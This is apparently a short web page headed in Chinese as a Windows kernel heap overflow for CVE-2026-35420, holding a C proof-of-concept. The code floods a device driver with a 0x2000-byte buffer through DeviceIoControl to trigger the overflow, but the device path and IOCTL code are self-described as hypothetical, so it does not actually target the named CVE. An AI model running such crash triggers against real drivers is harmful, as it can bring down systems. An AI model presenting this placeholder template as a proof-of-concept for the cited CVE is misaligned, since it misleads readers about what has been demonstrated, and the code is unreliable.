CVE-2026-35420 Windows内核堆溢出漏洞

/* * PoC for CVE-2026-35420 (Conceptual) * This code demonstrates how to trigger the heap buffer overflow * by sending a large buffer to the vulnerable kernel driver. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; char payload[0x2000]; // Large buffer to trigger overflow memset(payload, 0x41, sizeof(payload)); // Fill with 'A' // Open handle to the vulnerable device (Hypothetical path) hDevice = CreateFileA("\\\\.\\VulnerableKernelDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Sending payload to trigger heap overflow...\n"); // Send payload to the vulnerable IOCTL // 0x80002010 is a hypothetical IOCTL code DeviceIoControl(hDevice, 0x80002010, payload, sizeof(payload), NULL, 0, &bytesReturned, NULL); printf("[*] Exploit triggered. Check system stability.\n"); CloseHandle(hDevice); return 0; }